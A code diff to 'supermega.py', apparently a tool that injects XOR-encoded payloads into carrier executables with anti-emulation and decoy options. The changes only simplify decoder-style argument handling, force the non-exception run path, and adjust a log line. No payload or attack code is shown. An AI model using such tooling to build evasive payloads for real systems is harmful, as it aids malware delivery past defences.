--- a/supermega.py +++ b/supermega.py @@ -56,12 +56,7 @@ def main(): if args.carrier: settings.carrier_name = args.carrier if args.decoder: - if args.decoder == "plain_1": - settings.decoder_style = DecoderStyle.PLAIN_1 - elif args.decoder == "xor_1": - settings.decoder_style = DecoderStyle.XOR_1 - elif args.decoder == "xor_2": - settings.decoder_style = DecoderStyle.XOR_2 + settings.decoder_style = args.decoder if args.inject: if args.carrier_invoke == "eop": settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint @@ -114,7 +109,7 @@ def start(settings: Settings) -> int: prepare_project(settings.project_name, settings) # Do the thing and catch the errors - if False: + if True: start_real(settings) else: try: @@ -148,7 +143,7 @@ def start_real(settings: Settings): logger.info("--[ Config: {} {} {} {}".format( project.settings.carrier_name, settings.payload_location.value, - project.settings.decoder_style.value, + project.settings.decoder_style, project.settings.carrier_invoke_style.value)) logger.info("--[ Plugins: AntiEmulation={} Decoy={} Guardrail={}".format(